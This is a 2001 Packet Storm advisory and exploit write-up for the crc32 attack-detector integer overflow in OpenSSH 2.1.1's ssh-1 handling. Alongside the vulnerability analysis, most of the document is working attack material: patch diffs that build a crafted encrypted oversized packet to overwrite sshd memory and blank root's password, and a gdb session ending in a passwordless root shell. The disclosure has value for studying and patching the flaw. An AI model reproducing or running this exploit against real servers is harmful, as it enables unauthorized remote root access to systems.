Type packetstorm
Reporter Paul Starzetz
Modified 2001-02-22T00:00:00


                                            `1. Abstract  
This article discusses the recently discovered security hole in the  
crc32 attack detector as found in common ssh packages like OpenSSH and  
derivates using the ssh-1 protocoll. There is a possible overflow during  
assignemnet from 32bit integer to 16bit wide one leading to unmasked  
hash table offsets.  
In this article I will try to show how:  
a) exploit the crc32 hole to gain remote access to accounts without  
providing any password, assuming remote sshd allows empty passwords  
b) change login-uid if valid account on the remote machine exists.  
I'm aware about the wide consequences arising form this disclosure and  
possibly some people will hate me because I wrote this, but after you  
have read this article, you will see that the exploitation is really  
hard and tricky but on the other hand interessting. I think that the  
impact of the crc32 hole is greater than the recent bind bug. I'm not  
responsible for any damage resulting from this code, if you use this on  
your own.  
The exploit code is a set of patches to openssh-2.1.1, but of course one  
may want to put the needed routines into one code file.  
Note: this is neither a typical buffer overflow exploit (shell code) nor  
a format string exploit :-)  
2. Details  
Lets look at the vulnerable code in deattack.c. I will derive few  
conclusions about exploitation of the deattack code here.  
Original deattack.c code taken from OpenSSH-2.1.1, interessting  
locations are marked with [n]:  
detect_attack(unsigned char *buf, u_int32_t len, unsigned char *IV)  
static u_int16_t *h = (u_int16_t *) NULL;  
static u_int16_t n = HASH_MINSIZE / HASH_ENTRYSIZE;  
register u_int32_t i, j;  
u_int32_t l;  
register unsigned char *c;  
unsigned char *d;  
len % SSH_BLOCKSIZE != 0) {  
fatal("detect_attack: bad length %d", len);  
for (l = n; l < HASH_FACTOR(len / SSH_BLOCKSIZE); l = l << 2)  
if (h == NULL) {  
debug("Installing crc compensation attack detector.");  
[2] n = l;  
h = (u_int16_t *) xmalloc(n * HASH_ENTRYSIZE);  
} else {  
if (l > n) {  
n = l;  
h = (u_int16_t *) xrealloc(h, n * HASH_ENTRYSIZE);  
if (len <= HASH_MINBLOCKS) {  
for (c = buf; c < buf + len; c += SSH_BLOCKSIZE) {  
if (IV && (!CMP(c, IV))) {  
if ((check_crc(c, buf, len, IV)))  
for (d = buf; d < c; d += SSH_BLOCKSIZE) {  
if (!CMP(c, d)) {  
if ((check_crc(c, buf, len, IV)))  
return (DEATTACK_OK);  
if (IV)  
h[HASH(IV) & (n - 1)] = HASH_IV;  
for (c = buf, j = 0; c < (buf + len); c += SSH_BLOCKSIZE, j++) {  
[3] for (i = HASH(c) & (n - 1); h[i] != HASH_UNUSED;  
i = (i + 1) & (n - 1)) {  
if (h[i] == HASH_IV) {  
if (!CMP(c, IV)) {  
if (check_crc(c, buf, len, IV))  
[4] } else if (!CMP(c, buf + h[i] * SSH_BLOCKSIZE)) {  
if (check_crc(c, buf, len, IV))  
[5] h[i] = j;  
return (DEATTACK_OK);  
[2] as wee see here, a 32bit int value is assigned to 16bit wide only  
one. Bad things happen, if n is assigned a (truncated) value 0, because  
the value of n-1, where nwould expand to 32bit before the calculation is  
made is used as bit mask for following hash table operation [3]. Because  
l is computed to be a power of 4 in [1], we do not need to know the  
exact value for the len argument of detect_attack. We will end with n  
beeing exactly 0 if len is big enough. The overflow happens at exactly  
LEN = (16384 / HASH_FACTOR) * SSH_BLOCKSIZE which is 87381.  
So now we know how to set n to 0. Simply send a ssh1 packet with size  
exceeding LEN. But are we able to send such long packets? The answer is  
yes, after looking at the code of packet handling code in packet.c we  
see that the maximum accepted packet len is 256 kbytes.  
But what we can do with this? The answer is simple: after the value of n  
has been set to 0, we can access all sshd's memory by providing  
out_of_range hash indexes which are taken as (network order) values from  
the packet buffer itself (due to the HASH function beeing simple  
GET_32BIT), whose have to be 'unsigned short' index values. The  
detect_attack code will scan 8 bytes long blocks checking them for crc32  
attack using only the first 4 bytes of each block as hash table index.  
So we can set the other half of the buf blocks to arbitrary values  
without consequences to what we are indexing.  
So having n=0 we can change really any value in the memory! For example  
to write to the variable X having the value V we need to supply the Vth  
buf block with an offset to X in server's memory, offset because it  
would be calculated relative to the value of 'h', which has been  
allocated by a call to xm(re)alloc(). The value of h has indeed to be  
guessed, though (or in other words we need to guess the offset to h).  
But this would only write V to to X because 'j' which is the value we  
write in [5] counts blocks in buf. As you see from [3] and [4] there is  
a condition for writing to memory. The block number V has to be  
identical with the block obtained by buf + h[i] * 8, which means that we  
need 2 blocks: first a 'self termination' block with the number V and  
another block with the number 'k' where k is the new value we want to  
write to X. Note that with this technique we can only increase the value  
of X !   
There are 2 other conditions: the UNUSED_HASH and the HASH_IV condition,  
though, I do not discuss them here.  
Lets analyse the condition we need to enter detect_attack code at all.  
From packet.c it can bee seen that we need the session key to be set, so  
the first posibility to enter detect_attack is after the ssh_kex code in  
auth1.c. This makes the exploitation a bit tricky, because we need to  
send encrypted packets.  
So one may ask, how to send an encrypted packet containing the needed  
offsets if we must always encrypt our data before sending? We can deal  
with it easilly maintaning a copy of the receive context as sshd sees  
it. After the seesion key has been set (it is the same for sending and  
receiving) we need to _decrypt_ all packets we send to sshd. With this  
trick we are able to produce the plaintext needed for construction of  
desired encrypted packet :-)  
Let us look at the format of ssh-1 packets. They are always 8*n (packets  
containing other data amount are padded) bytes long and contains an  
(encrypted!) checksum at the end of packet:  
where [...] stands for a 8-byte long block and (LEN) is a 32 bit value  
carrying the length information (network order!). The last [XXX] block  
would be like  
with P standing for padding or data and C for the crc32 checksum. The  
checksum is calculated over all packet bytes _excluding_ the checksum  
location but including the last 32 bits of the packet (padding or data)  
and then stored at the end of packet and after that the resulting packet  
is encrypted with the current cipher context (usually send_context in  
There are 2 another difficulties too, one can point out. The first is  
that after we have sent a big packet setting 'n' in detect_attack to 0,  
n will be still 0 in succeding calls and this will result in an endles  
loop in [1]. Therefore our packet _must_ overwrite the static variable n  
in detect_attack subroutine!   
Because we have xrealloc'ed the buffer h with the new size =  
n*HASH_ENTRYSIZE which would expand to 0, the buffer h cannot be assumed  
to point to any valid memory... So the only way to deal with this is to  
send only _small_ packets matching the condition len < HASH_MINBLOCKS  
(=56). For example we have to disable tty allocation (-T option) in the  
following exploit code. Never enter more than about 36 bytes on the  
prompt :-)  
The second real hard problem is the value of PPPP. detect_attack will  
scan the buf for crc32 compensation attack _including_ the last block  
with crc and pad. But we cannot really controll the encrypted value of P  
because the ciphers work always on 8 byte long blocks mixing the 2 32bit  
values with each other (I didn't found any simple way to deal with this,  
cryptography experts, where are you?!). So the question is: how the PPPP  
bytes have to be in order to obtain defined encrypted value at the P's  
position _after_ we calculated the cheksum? I doubt that this problem is  
solvable at all. However, I use at this point the UNUSED_HASH  
termination condition. After n has been set again by our big packet to a  
value != 0 we need to match the condition h[PPPP & n-1] == 0xffff. See  
below to understand how I'm doing this ;-)  
So now we know all about the detect_attack code and the packet format,  
lets think about really exploiting this. After I have looked at the  
authorisation code auth1.c I found 3 ways of possible exploitation in  
the do_authloop function:  
a) there is a local variable 'int authenticated = 0' which set to value  
!= 0 would authorise the session and start a remote shell immediatelly.  
b) overwriting the pw->pw_passwd value which should be 'x'\000 on  
systems with shadow passwords with something like \000'x' would produce  
a remote shell too if sshd has 'emptypasswords' enabled.  
c) overwriting pw->pw_uid with some value would change the uid the  
remote shell is running after successfull athentication.  
You will very fast figure out, why (a) is not easy exploitable (if at  
It is time to describe an exploitation way for (b), which I decided to  
choose for this article. Exploiting (c) would be similiar but not really  
interesting, I think, because we can only increment the uid value.  
Lets summarize, how our (very very...) magic and big packet has to look  
- we put as first cipher block an offset pointing to the location of n  
in detect_attack(), so first write h[i]=j will set n=0  
- we make the 0x78th block to point to the location of pw->pw_passwd  
(which point to somewhat like 0x78 0x00 ... at this time), this is our  
termination block for pw->pw_passwd. h[i]=j wouldn't change the value  
pw->pw_passwd is pointing to  
- we make the 0x100th block to point to pw->pw_passwd again, so that  
h[i]=j would change the value *(pw->pw_passwd) to be now 0x00 0x01  
(which is an empty string, say no password :-)  
- the 512th cipher block has to change n in detect_attack() to be 512 so  
no deadlock occurs in succeding calls to detect_attack().  
- other cipher block offsets have to be 0x00000000.  
- and finally we choose the last free (padding) value PPPP of the packet  
to match following condition: network_order(PPPP) & 511 == 0 (brute  
force that, PPPP would be found very fast...) so that we still have an  
_effective_ offset 0x00000000. After I played a bit with this, I found  
that it is not really necessary to bother about PPPP...  
There are few other modifications to the ssh code, though. I mention  
only that before we send our magic big packet there will be a  
'0xffff-setting' packet, only to set up the h buffer with 0xffff values  
Another modification I made is sending empty password after we have sent  
the long packet in sshconnect1.c. You will find other minor changes on  
3. Exploit  
Attached are diff files for the openssh-2.1.1 package. The patch uses 2  
environment variables called 'OFF' and 'NOFF', where OFF has to be the  
offset to the variable we want to overwrite (pw->pw_passwd), NOFF the  
offset to stattic variable 'n' in the detect_attack code.  
To finish this discussion lets look at some successfull exploitation of  
sshd. I have run sshd in gdb in debugging mode to simplify this show,  
but you can try the code with your own 'real' sshd of course, using  
apriopriate offsets...  
on the client side:  
./ssh -v -p 7777 localhost 2>&1 -c blowfish -T -l root  
where -T prevents from sending ALLOC_PTY packet, which would exceed the  
56 bytes limit, on the server side:  
(gdb) run  
The program being debugged has been started already.  
Start it from the beginning? (y or n) y  
Starting program: /usr/home/paul/tmp2/openssh-2.1.1p4/./sshd -p 7777 -d  
-f ./sshd_config -b 512 2>&1  
debug: sshd version OpenSSH_2.1.1  
debug: Seeding random number generator  
debug: read DSA private key done  
debug: Seeding random number generator  
debug: Bind to port 7777 on  
Server listening on port 7777.  
Generating 512 bit RSA key.  
debug: Seeding random number generator  
debug: Seeding random number generator  
RSA key generation complete.  
debug: Server will not fork when running in debugging mode.  
Connection from port 3743  
debug: Client protocol version 1.5; client software version  
debug: Local version string SSH-1.99-OpenSSH_2.1.1  
debug: Sent 512 bit public key and 1024 bit host key.  
debug: Encryption type: blowfish  
debug: stored copy of send context  
debug: Received session key; encryption turned on.  
Breakpoint 1, detect_attack (  
(gdb) c  
debug: Installing crc compensation attack detector.  
debug: Attempting authentication for root.  
(here I have added some debugging code to detect_attack in order to  
easilly gain offsets :-)  
debug: PASSWORD ADR = 0xbffff08c : 80f8890 80f9c88 0  
debug: passwd = [x]  
debug: name = [root]  
Breakpoint 1, detect_attack (  
len=528, IV=0x0) at deattack.c:136  
136 if (len > (SSH_MAXBLOCKS * SSH_BLOCKSIZE) ||  
(gdb) x 0x80f9c88  
0x80f9c88: 0x400c0078  
As we see here, 0x400c0078 is the stored 'x'\000 value from /etc/passwd,  
which indicates that root has a shadow password.  
(gdb) p len  
$15 = 528  
the packet received is the '0xffff' packet which would prepare the  
memory region h with UNUSED_HASH values, ok lets continue:  
(gdb) c  
Unknown message during authentication: type 248  
debug: Unknown message during authentication: type 248  
Failed bad-auth-msg-248 for ROOT from port 3743  
ok, sshd ignored the 0xffff packet, the client side is guessing now the  
value of PPPP. Lets see what happens as next:  
Breakpoint 1, detect_attack (buf=0x8100144 "\177þa0ÿÿÿÿ", len=88072,  
IV=0x0) at deattack.c:136  
136 if (len > (SSH_MAXBLOCKS * SSH_BLOCKSIZE) ||  
(gdb) p len  
$16 = 88072  
(gdb) p n  
$17 = 4096  
Got big packet! Lets step into the detect_atack code:  
(gdb) n  
140 for (l = n; l < HASH_FACTOR(len / SSH_BLOCKSIZE); l = l  
<< 2)  
(gdb) p n  
$18 = 0  
So now we have set n=0 and n-1 = 0xffffffff and can overwrite memory ;-)  
After few loops we check again the location of pw->pw_passwd:  
(gdb) x 0x80f9c88   
0x80f9c88: 0x400c0100  
Oooops, root seems to have no password now! Lets run the loop a bit  
(gdb) p n  
$25 = 512  
(gdb) p j  
$26 = 785  
We see that at this point we have set n back to be 0x200 and can enter  
detect_attack again. Lets check now the termination value for the last  
iteration in [3], which has to be UNUSED_HASH (note the network order  
(gdb) x/16 buf + len - 8   
0x8115944: 0xf5966c0d 0xb7ef464b 0x09000000   
0x8115954: 0x2c1b8d66 0x891bb13a 0x527c53d0   
(gdb) x/16 &h[0x0d6c96f5 & 511]  
0x80fdf1a: 0xffffffff 0xffffffff 0xffffffff   
0x80fdf2a: 0xffffffff 0xffffffff 0xffffffff   
Ok, it looks fine, lets continue the loop till the end and hope that  
sshd wouldn't die after overwriting 0x80fdf1a with the value of j upon  
the end of the [3] loop. It will take about 120 seconds on a P-100  
machine to complete the loop (yes, I wrote this on an old P-100/64mb  
(gdb) c  
Unknown message during authentication: type 237  
debug: Unknown message during authentication: type 237  
Failed bad-auth-msg-237 for ROOT from port 3747  
Breakpoint 1, detect_attack (buf=0x8115950  
"\032OÖîf\215\e,:±\e\211ÐS|R", len=16, IV=0x0) at deattack.c:136  
136 if (len > (SSH_MAXBLOCKS * SSH_BLOCKSIZE) ||  
Oooops^2, now we have fooled sshd to believe that root doesn't have a  
password set, set n to be != 0 and we are still alive. SUCCESS! So it is  
not difficult to imagine what happens now:  
(gdb) c  
Accepted password for ROOT from port 3747  
debug: session_new: init  
debug: session_new: session 0  
Breakpoint 1, detect_attack (buf=0x8100144  
"\030© Ñ'\233Ç*oå\021w(Ç\035v", len=16, IV=0x0) at deattack.c:136  
136 if (len > (SSH_MAXBLOCKS * SSH_BLOCKSIZE) ||  
We didn't supply any password at all :-))) After continuation we get an  
interactive session for root:  
(gdb) c  
Unknown packet type received after authentication: 9  
Breakpoint 1, detect_attack (buf=0x8100158 "¾áBAS£øyÿÿÿÿ", len=8,  
IV=0x0) at deattack.c:136  
136 if (len > (SSH_MAXBLOCKS * SSH_BLOCKSIZE) ||  
(gdb) c  
debug: Entering interactive session.  
debug: fd 9 setting O_NONBLOCK  
debug: fd 11 setting O_NONBLOCK  
debug: server_init_dispatch_13  
debug: server_init_dispatch_15  
On the client side we see this (no pty):  
Permission denied, please try again.  
debug: Requesting shell.  
debug: Entering interactive session.  
SSH_CLIENT= 3747 7777  
uid=0(root) gid=0(root)  
That's all !'"§$!...  
Now you will probably understand, why the crc32 hole is very difficult  
to exploit. Also any brute force approach one may try would consume the  
network bandwith...  
Nevertheless, upgrade your sshd as soon as possible :-)  
--- crc32.c Thu Jun 22 13:32:32 2000  
+++ patched_crc32.c Tue Feb 20 03:02:04 2001  
@@ -119,3 +119,14 @@  
return crc32val;  
+unsigned int  
+crc32_recursive(const unsigned char *s, unsigned int crc32val)  
+ unsigned int i;  
+ for (i = 0; i < 4; i ++) {  
+ crc32val = crc32_tab[(crc32val ^ s[i]) & 0xff] ^ (crc32val >> 8);  
+ }  
+ return crc32val;  
--- dispatch.c Thu Jun 22 13:32:32 2000  
+++ patched_dispatch.c Tue Feb 20 03:02:18 2001  
@@ -71,7 +71,8 @@  
if (type > 0 && type < DISPATCH_MAX && dispatch[type] != NULL)  
(*dispatch[type])(type, plen);  
- packet_disconnect("protocol error: rcvd type %d", type);   
+// packet_disconnect("protocol error: rcvd type %d", type);  
+ debug("WOULD TERMINATE: type : %d", type);  
if (done != NULL && *done)  
--- packet.c Tue Jul 11 01:29:50 2000  
+++ patched_packet.c Tue Feb 20 03:04:16 2001  
@@ -72,6 +72,12 @@  
/* Encryption context for sending data. This is only used for  
encryption. */  
static CipherContext send_context;  
+// we have to decrypt all data before sending with backup in order to  
be able  
+// to predict the values on sshd's side  
+static CipherContext backup_context;  
+static char tmpbuf[1024];  
/* Buffer for raw input data from the socket. */  
static Buffer input;  
@@ -146,6 +152,7 @@  
cipher_type = SSH_CIPHER_NONE;  
cipher_set_key(&send_context, SSH_CIPHER_NONE, (unsigned char *) "",  
cipher_set_key(&receive_context, SSH_CIPHER_NONE, (unsigned char *)  
"", 0);  
+ cipher_set_key(&backup_context, SSH_CIPHER_NONE, (unsigned char *) "",  
if (!initialized) {  
initialized = 1;  
@@ -298,8 +305,69 @@  
unsigned int bytes)  
cipher_encrypt(cc, dest, src, bytes);  
+// on ssh side we maintain a copy of remote's cipher context in order  
to be able  
+// to decrypt our messages   
+// we simply decrypt all we crypt to stay informed about what remote  
sides is doing with our data :-)  
+ cipher_decrypt(&backup_context, tmpbuf, dest, bytes);  
+// decrypts the stream as it would happen on the other side  
+backup_decrypt(void *dest, void *src, unsigned int bytes)  
+CipherContext cc;  
+// do not modify backup context  
+ cc=backup_context;  
+ cipher_decrypt(&cc, dest, src, bytes);  
+send_encrypt(void *dest, void *src, unsigned int bytes)  
+static CipherContext cc2;  
+static int c=0;  
+CipherContext cc;  
+ if(c==0) {  
+ cc2=send_context;  
+ c++;  
+ debug("frezing a copy of send_context !");  
+ }  
+ cc=cc2;  
+ cipher_encrypt(&cc, dest, src, bytes);  
+send_encrypt_modify(void *dest, void *src, unsigned int bytes)  
+ cipher_encrypt(&send_context, dest, src, bytes);  
+send_encrypt_save(void *dest, void *src, unsigned int bytes, int save)  
+static CipherContext cc2;  
+static int c=0;  
+CipherContext cc;  
+ if(c==0) {  
+ cc2=send_context;  
+ c++;  
+ debug("frezing a copy of send_context !");  
+ }  
+ cc=cc2;  
+ cipher_encrypt(&cc, dest, src, bytes);  
+ if(save)  
+ cc2=cc;  
* Decrypts the given number of bytes, copying from src to dest. bytes  
* known to be a multiple of 8.  
@@ -346,6 +414,9 @@  
/* All other ciphers use the same key in both directions for now. */  
cipher_set_key(&receive_context, cipher, key, keylen);  
cipher_set_key(&send_context, cipher, key, keylen);  
+ debug("stored copy of send context");  
+ backup_context=send_context;  
+ cipher_set_key(&backup_context, cipher, key, keylen);  
/* Starts constructing a packet to send. */  
--- sshconnect1.c Tue May 9 03:03:04 2000  
+++ patched_sshconnect1.c Tue Feb 20 03:01:44 2001  
@@ -651,6 +651,126 @@  
return 0;  
+extern void send_encrypt(void *dest, void *src, unsigned int bytes);  
+extern void send_decrypt(void *dest, void *src, unsigned int bytes);  
+extern unsigned crc32_recursive(const unsigned char *s, unsigned int  
+extern void backup_decrypt(void *dest, void *src, unsigned int bytes);  
+extern void send_encrypt_modify(void *dest, void *src, unsigned int  
+extern void send_encrypt_save(void *dest, void *src, unsigned int  
bytes, int save);  
+unsigned int crc32(const unsigned char *s, unsigned int len);  
+// this will construct valid ssh packet, containing ignored message  
+// with cipher(packet) = magic offset to write to configured offset  
+// and the packet will have valid (encrypted) crc :-)  
+void bigpacket()  
+unsigned DATALEN=1024*86;  
+unsigned paddedlen=(DATALEN + 8) & ~7;  
+unsigned char* buf;  
+unsigned char* buf2, *buf3;  
+int connection_out;  
+unsigned* ptr, *ptr2, i, checksum, w;  
+unsigned* chkp;  
+unsigned off;  
+unsigned noff;  
+unsigned npos=512;  
+ debug("*** writing big packet ***");  
+ srand(time(NULL));  
+ buf3=getenv("OFF");  
+ if(!buf3) {  
+ debug("please set OFF");  
+ exit(1);  
+ }  
+ sscanf(buf3, "%x", &off);  
+ debug("\nOFF : %x", off);  
+ buf3=getenv("NOFF");  
+ if(!buf3) {  
+ debug("please set NOFF");  
+ exit(1);  
+ }  
+ sscanf(buf3, "%x", &noff);  
+ debug("\nNOFF : %x", noff);  
+// alloc mem  
+ buf=(unsigned char*)malloc(DATALEN+1024);  
+ buf2=(unsigned char*)malloc(DATALEN+1024);  
+ buf3=(unsigned char*)malloc(DATALEN+1024);  
+ memset(buf3, 0x00, DATALEN+512);  
+ memset(buf2, 0x00, DATALEN+512);  
+ memset(buf, 0x00, DATALEN+512);  
+ ptr=(unsigned*)(buf);  
+ ptr2=(unsigned*)(buf2);  
+// socket fd  
+ connection_out=packet_get_connection_out();  
+// construct plain text to get buf[k] = offset after encryption  
+ for(i=0;i<paddedlen/4;i+=2) {  
+ ptr2[i]=htonl(0x0);  
+ ptr2[i+1]=0xffffffff;  
+ }  
+// for writing to n  
+ ptr2[0]=htonl(noff);  
+ ptr2[npos*2]=htonl(noff);  
+// for writing to pw->pw_passwd  
+ ptr2[256*2]=htonl(off);  
+ ptr2[0x78*2]=htonl(off);  
+// write checksum  
+ chkp=(unsigned*)(buf+paddedlen);  
+ backup_decrypt(buf+4, buf2, paddedlen-8);  
+// message type  
+ ptr[0]=htonl(DATALEN);  
+// compute checksum  
+ checksum=crc32((unsigned char *) buf+4, paddedlen-4);  
+ *chkp=htonl(checksum);  
+// buf contains decrypted plaintext!  
+ send_encrypt_save(buf2, buf+4, paddedlen-8, 1);  
+ checksum=crc32((unsigned char *) buf+4, paddedlen-8);  
+ *(chkp-1)=((unsigned)rand());  
+ w=crc32_recursive((unsigned char *) buf+4 + (paddedlen-8), checksum);  
+ *chkp=htonl(w);  
+// encrypt freeval + new crc32 and copy this into buf2  
+ send_encrypt_save(buf2 + (paddedlen-8), buf+4 + (paddedlen-8), 8, 0);  
+// now buf is ready to send (encrypted) !!!  
+// modify our send_context to maintain synchronisation with the server  
+ send_encrypt_modify(buf3, buf+4, paddedlen);  
+ memcpy(buf+4, buf2, paddedlen);  
+// write packet now:  
+ if (atomicio(write, connection_out, buf, paddedlen+4)!=paddedlen+4)  
+ fatal("write: %.100s", strerror(errno));  
+ free(buf);  
+ free(buf2);  
+ free(buf3);  
+ debug("*** wrote bigpacket ***");  
* Tries to authenticate with plain passwd authentication.  
@@ -663,14 +783,32 @@  
debug("Doing password authentication.");  
if (options.cipher == SSH_CIPHER_NONE)  
log("WARNING: Encryption is disabled! Password will be transmitted in  
clear text.");  
+// prepare 0xffff field !  
+ debug("sending 0xffff packet");  
+ packet_start(0xf8);  
+ password=malloc(512);  
+ memset(password, 0x00, 512);  
+ packet_put_string(password, 512);  
+ packet_send();  
+ packet_write_wait();  
+ free(password);  
+ type = packet_read(&payload_len);  
+ if (type == SSH_SMSG_SUCCESS)  
+ debug("sshd accepted 0xffff msg");  
+ if (type != SSH_SMSG_FAILURE)  
+ debug("sshd bounced 0xffff msg !!!");  
+// clear remote pass :-)  
+ bigpacket();  
for (i = 0; i < options.number_of_password_prompts; i++) {  
if (i != 0)  
error("Permission denied, please try again.");  
- password = read_passphrase(prompt, 0);  
+ password = "";  
packet_put_string(password, strlen(password));  
- memset(password, 0, strlen(password));  
- xfree(password);  
Yes, I'm continously looking for a very good job...`